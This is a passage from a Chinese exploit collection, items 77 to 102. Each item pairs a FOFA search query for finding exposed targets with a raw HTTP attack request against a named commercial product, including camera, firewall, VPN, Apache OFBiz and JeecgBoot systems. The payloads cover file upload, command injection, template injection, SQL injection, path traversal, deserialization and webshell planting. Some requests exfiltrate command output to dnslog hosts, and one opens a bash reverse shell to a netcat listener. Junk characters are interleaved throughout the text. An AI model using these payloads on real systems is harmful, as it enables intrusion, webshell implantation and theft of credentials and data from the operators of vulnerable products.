  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
8 ~  W4 o4 Q7 N+ Z  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
  c9 ^, u; `/ w7 W" N5 q
' A/ S+ L  }1 \* v( f/ j
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
% a+ d* }3 L4 yHost: x.x.x.x



5 y; h& I1 f# m) ~77. F22服装管理软件系统UploadHandler.ashx任意文件上传
& Z$ y( D7 ^( u6 z0 k' pFOFA：body="F22WEB登陆"
, K  z; n1 n5 n& B1 Q/ APOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
8 E3 m! |: k. ^3 {- XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
% b; ?+ ?$ u+ J5 [6 W% Y0 \Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
# H3 ^+ z3 h  `" ZAccept-Language: zh-CN,zh;q=0.9
( X+ p. {% i4 z( K) j, cContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
* J% D4 A1 q* u5 i! u0 f
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

0 c& w( J+ `. ~" K/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
# V% r6 `( V7 {: N. jContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
. ^; j% m' E7 A  i2 g0 kContent-Type: application/octet-stream

; L2 [- L' S- C& |% e, {hello1234567
* D# f9 G9 E# K) q" [% f8 b------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

. [7 A4 D, r$ r2 \Submit Query
* z5 x  T, e& Y: z# o) |------------398jnjVTTlDVXHlE7yYnfwBoix--

+ C; l- C0 J2 B: G, U6 B
) I; |. x! e% Y' n8 O78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
+ q* g* J, j8 o6 vPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  Q5 t6 T  C- V+ QConnection: close
* P4 z" [5 A( n$ r. s) A0 ^' ^3 s$ MContent-Length: 336
7 _; o6 K/ C' s  g5 z9 OAccept-Encoding: gzip
* N! H+ N. o/ ^* i! e. _5 MContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
  T; `5 p/ ~1 X
+ N9 t" F+ U, B. {# M------YsOxWxSvj1KyZow1PTsh98fdu6l
1 `4 b/ o+ C: r; C6 XContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

9 E5 T( W$ a- B" z$ v$ oYsOxWxSvj1KyZow1PTsh98fdu6l
5 O2 Y+ J' R! p# c6 d, [; M7 v------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
; G( [. j8 d3 i& F1 x" z

% I2 Y* X' t9 \) F: q79. BYTEVALUE 百为流控路由器远程命令执行
. d; X& N. R5 XFOFA：BYTEVALUE 智能流控路由器
8 m5 o8 U0 p0 p) X4 k) Y+ {GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 B7 L. u0 E, N  C  T! s* H2 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. p7 v' q) x* A! u. f' uConnection: close
$ [0 l3 A/ @* Q/ i$ l3 PUpgrade-Insecure-Requests: 1
3 m, H* F) }( ?
3 Q  {/ ]1 ~# l; H  l
1 ?. }0 W) U- \- n3 w# W80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
; J+ }3 i+ C7 zFOFA：app="速达软件-公司产品"
% Q6 ?9 b6 K6 T1 B( uPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
8 x* A+ Z+ }4 QHost: x.x.x.x
' r" {& Y6 d" K3 b* M; DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% G4 w7 V1 H0 F, U6 Y- K/ }1 TContent-Length: 27
# S" f" Z1 }# D- X1 B+ T& y2 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 c4 W4 I# G. ]* J5 J% y# r0 n, eAccept-Encoding: gzip, deflate
; f0 @, F. z2 [7 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
8 y8 i% p. Y# N5 h: S: Z, y/ ~9 \4 J5 NUpgrade-Insecure-Requests: 1
; y" j" H- d: N
<% out.print("oessqeonylzaf");%>


! D1 V( ~- v7 N7 z% _# b; y/ E( L- pGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
; Z& X$ j8 e- @8 J1 ]- G1 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* e% ?; X3 ^, k8 U  i5 \Connection: close
Accept-Encoding: gzip


/ X) H9 i/ d: @: X81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
, M" p' m1 k5 ]$ tGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
% K5 B9 a/ j/ DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 w5 t* l$ t8 TAccept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
5 V, `! P+ ?& c) x* CUser-Agent: Go-http-client/1.1
* @& i4 D* `1 w) _! M: pContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
9 `8 A3 j9 e) _' u0 S; t. V! bReferer: BaseURL
& k$ w1 V! f) r6 A4 c
z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
0 K& I3 N; k  M, }( F! M0 c# A! H5 qFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
* v- P, L! D9 C! O! |, _Accept-Encoding: gzip
  ~8 Q) ], Z3 h+ `( }' E# H* QCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
: C  K0 @& ~% ]# d$ J+ SHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
3 g3 s# Q, I- pAccept: */*
. l8 c- I, z; H9 f& o1 AConnection: close
Content-Type: application/json
8 u' I) k8 i6 P, W9 n2 ]& N- i! EAccept-Encoding: gzip
# {4 u9 b- r7 p
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
" [; O8 h! V9 r: ?}


85. SysAid On-premise< 23.3.36远程代码执行
* b/ m0 n: ]# jCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
" {& X, V/ Z  V0 v6 L& u( u, aEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
% C) {2 G9 N. jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) k; x2 b2 `) T. VContent-Type: application/octet-stream
Accept-Encoding: gzip
# y- l' T! G" E
PAYLOAD
# D  N, Q, Q( c. ^) S$ {
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
9 n- {7 E: F9 j) V+ S! qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
* M2 \" H7 y! n# g% [( BConnection: close
8 e6 M4 n* I  H; V9 A' y  L3 \Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

) o- g2 n% b/ Z8 B. |1 xhost=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
! ^7 {: ~# y6 J4 L+ NFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
* {( o" ?6 q6 I& V. @3 NHost: X.X.X.X
# v$ ?3 `6 t: i3 ]: F2 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- U) i! j6 a! r! @# JConnection: close
  ?; x+ {. ]0 V/ M( t" w' u; CContent-Length: 198
Accept-Encoding: gzip
4 V% w: T3 x3 _& B7 }+ B2 m! }Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
3 [- j7 r$ ]8 Z. z
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
! u! G5 a3 ?4 h3 s" d) X/ F% h4 r--qqobiandqgawlxodfiisporjwravxtvd--
( E; L, ?: m( Z: q9 e2 R

/jfhatuwe.php

2 a" ?/ r3 A- C& S, h7 n# r88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
7 s2 Q7 r/ F3 x3 T' u% `% bGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
3 }$ b8 ^* B0 M& b8 iHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; y+ k" H# A/ D! uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ ~# K9 {( l+ E" o3 \7 r4 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* y" \, c: F2 d; w1 U

1 e3 f- p" Y8 c! U" G6 Q4 {* u/astdfkhl.php
) t* F1 F% H7 ?7 O7 Q
89. 致远互联FE协作办公平台editflow_manager存在sql注入
0 x: [. B- \/ AFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
2 L: a. c# z  G/ U' R3 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# @0 A( k& T$ R6 L0 L0 ^Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
! G& _' i' g, UAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
$ ]9 I/ b$ w/ a4 I8 f& ]8 P1 y

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ w5 O& F; d8 JFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
1 X7 ^- g% f3 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
) |! Q) {  t2 pAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
+ I% g9 D( ?4 K8 A! lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
1 b5 F* O( U( }8 Q" E, S. tX-Requested-With: XMLHttpRequest

+ r2 o, F" U( u$ I; F) ?jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
# ~# F7 Y/ @5 a9 ~3 X( J3 [
4 N# T/ d& g! N2 N1 y5 j3 J! B, x
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
3 {( }& {1 d3 m: w/ WFOFA：title="综合安防管理平台"
3 y5 X$ G4 q! f. o# K, o8 o: |6 H+ hGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
- x- i& b- y) y# {2 k. Z$ aAccept-Encoding: gzip, deflate
2 v; e+ r) C' @- E8 ]' iAccept: */*
* Q3 k& G( d6 q, M& l# i3 E3 dConnection: keep-alive
6 r0 W2 M5 w3 b' w. n: y
1 G: D+ m; L3 \# \
& d& `9 n. D4 i6 k0 o9 i
: m, Y/ P! N4 F4 }; k92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
* y; Z! o$ W& f% I# JX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
) T/ N0 E3 D( F3 m( W2 R8 \' OTestcmd: echo test
% C7 [: P* t3 X, M  GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
% Y! W. }) [* K( \& z' h" nAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD

  A; E. D3 j; h$ L
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
- |4 A% E" q8 Z8 NHost: x.x.x.x
8 p3 t' b5 B) A0 z0 KContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

' k& T0 Z. Q6 ]& N! r/ E------WebKitFormBoundarykcbkgdfx
9 ^7 U, u' ?' Q: n! p" o5 yContent-Disposition: form-data; name="MAX_FILE_SIZE"
7 d/ B! S: t: y- O! p8 m: ?, N( W
* r8 c  n2 A+ @- V( w0 ?5 I" v10000000
) Z' I2 V( ~& s1 U. ?------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
9 K5 m  _* D5 W/ p- i6 A! W4 CContent-Type: text/plain

0 F+ U0 {7 @; B: x- c. wwagletqrkwrddkthtulxsqrphulnknxa
" _% {. A" J5 r# N) k  ]+ o# K$ h5 x1 i------WebKitFormBoundarykcbkgdfx
- X9 F" Z; c% }/ NContent-Disposition: form-data; name="submit_post"
- @  ]; [2 [$ B: I- }
  I5 x) ]; R8 Aobj_app_upfile
7 l$ p8 A: r% z* C3 a3 w3 I6 M------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
/ P! {. ]# F, V/ f
% j8 t( O/ i( R0b9d6b1ab7479ab69d9f71b05e0e9445
/ w' K3 S) a  m9 c4 H' g/ }------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
- m/ U0 D( _- w+ K& E& i% t3 AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


/ }$ O/ m4 V) ^! |94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
0 ?% S- T5 ]3 w: X0 G! x- m5 Z/ fHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

4 c6 N! d$ {" Q------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
4 H6 e) S; M& i/ v4 E* e4 O/ C. _------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
5 ?. I& \! z) K" G4 aContent-Type: text/plain
' l  P. t1 }; g/ I4 g
- z8 G; K9 W% J# ]# wpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
! T5 k) X2 B$ c+ t; U: v------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

& \9 W. e( i4 V+ |" j
, \* T3 O- Z' d! H8 s, d
GET /attachements/xlskxknxa.txt HTTP/1.1
+ A; a/ I( y; BHost: xx.xx.xx.xx
" C3 E  m) R1 q; u: jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- h( X$ h& C8 z( [* `  L9 d+ I
% \7 a  J# ?" g, W& S. G; E& N/ \2 \
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
/ K% H4 I  F4 q8 D6 Y( pFOFA：app="Apache_OFBiz"
; h4 H& O0 W1 O4 k% HPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
8 _# n3 M) f- ]  [% \& `Content-Length: 889
0 \9 s$ d% I: P& e- a, m0 SContent-Type: application/xml
! o4 W) C; t; ~8 }2 _Accept-Encoding: gzip
/ F, \6 g1 t+ d* ?8 S  u* N
$ l5 K3 U& @# V0 S6 A<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
; t) T$ w7 W2 M  J      <value>
8 ]. o7 o( ~* I; G: B        <struct>
/ `% g. I2 d- S, u3 }$ J       <member>
" p2 ^4 v0 W, D9 s% J) Y          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
' r# ^  R# s+ d$ y9 M7 R          </value>
; q! D, _: H! l& M        </member>
      </struct>
* {( s8 A# I. u( a/ i8 s5 K      </value>
2 Y" {& P' _- \9 |3 Z) m, t    </param>
, P* n( g* L( k! |6 o& e2 W    </params>
9 k/ t1 W/ ]9 `9 H9 h- m</methodCall>
1 f7 H7 [! ^5 `8 _  }

1 x/ ?0 `5 }. H' P9 W* k' O用ysoserial生成payload
: S0 A4 F' f6 K" M5 Q# y' Hjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
3 J' a) b% ?3 u  r% W9 M7 `

2 T5 E( {8 O2 A3 K& P1 v+ f/ |$ V. ?! k将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
& d8 p% ~' O% i# ]5 f: k9 C. CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 e; D* v1 r, l' Z  uConnection: close
Content-Length: 889
/ A  G# c5 ^4 e8 z8 K- h' [Content-Type: application/xml
  U0 ]; b$ X4 |" ?$ I/ R# m2 P% AAccept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
; `3 i5 z! P8 ]' ~" \/ DFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: l% |/ l6 [, v7 y; dHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 o$ d6 D+ t& x' YContent-Type: application/x-www-form-urlencoded
Content-Length: 55
4 l" W1 k+ U5 i- h$ j2 b
groovyProgram=throw+new+Exception('id'.execute().text);

6 y3 [; P( P4 {: E5 N  x3 E
反弹shell
% @, N* Y  S% S  J  [7 A在kali上启动一个监听
5 Y$ I4 L. g# wnc -lvp 7777
8 l) P& b; @& ]$ f! V; n) B/ l
+ n* i& C7 o0 jPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
1 O3 d7 F1 ?8 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
- `0 x) i& W8 e( I" H4 \( Q- L
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
4 n5 |% L; p7 p$ Q- [5 A2 Q1 i
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
7 Y- @% h+ Z5 p$ |. V. UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
2 d% p& s/ ?2 a% E& oConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
# Q& g; t. r5 g7 A: f( {( Q
# k4 t# [* u7 g& S9 H- s. _* m3 z
( g  L! p0 P1 O. Q: G7 w& ?98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
" \. A$ U1 ~* x2 ^9 s/ A$ i: nFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 g- z( z1 ~( D) JConnection: close
9 Q6 Z- m  ^& s) d$ G3 `4 s9 E3 eContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
: T0 @5 B( f: N( v9 J* iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
* \) p1 g1 d" j7 j8 ^3 P2 W0 o6 A
& O* U5 a: C$ J9 }$ w" ?id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

1 ]# J: g+ f/ [1 J# N1 X
& y2 u: ]: X# f% s% r99. Ncast盈可视高清智能录播系统busiFacade RCE
1 Q2 }# w. j; Y7 aCVE-2024-0305
: N$ b4 [# c6 B8 H$ aFOFA：app="Ncast-产品" && title=="高清智能录播系统"
5 p% Q% P% Q+ c- B% LPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
2 t+ q% e7 y8 a5 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; c( d' o2 a. l; J( ^Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' h' y  B% G6 I' o: S9 v$ ~9 R4 p) XContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
8 _" n# p2 c" V% R8 b
  s- i8 h+ p* H5 D' p) b7 y( B
; p: m8 I6 k5 n5 V4 x2 _5 M7 R3 H100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
8 g6 }$ p$ T5 g4 c& m0 oFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
' I/ v! i. _- v! THost: 192.168.40.130
$ q# s+ S2 |4 j$ K! y1 X3 D& p$ SUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
- y: J% \, C2 SConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
; S" k' s' ~8 G2 AAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
2 P1 W7 b4 D" E$ T+ SContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
9 d/ L& f, R' k0 O/ J/ v0 V3 i( L------WebKitFormBoundarygcflwtei--
7 n9 q: R& n9 x( Y# V
0 Z  ~; R' y7 w0 n3 ^7 {. L& m
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
/ X+ Q% T: D5 k+ l1 m( K( l+ D* o; GFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
: ~. I3 b& D( Z2 p# GHost: x.x.x.xx.x.x.x
- X+ K% \6 a( `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
1 f0 e3 m% i6 u: P/ _9 y3 K2 xAccept-Encoding: gzip
- R0 \& @1 t& R$ T. e( L7 l9 K

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
( z& h' h  r0 j$ M+ kCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
! K7 o" Y& t5 G$ ?9 i! g% _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% U( y* m- O. f* U2 R- yConnection: close
Content-Length: 792
8 q( p9 g% k' g* t8 b% N0 OAccept-Encoding: gzip

" ^9 h6 p/ H4 `4 b<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod 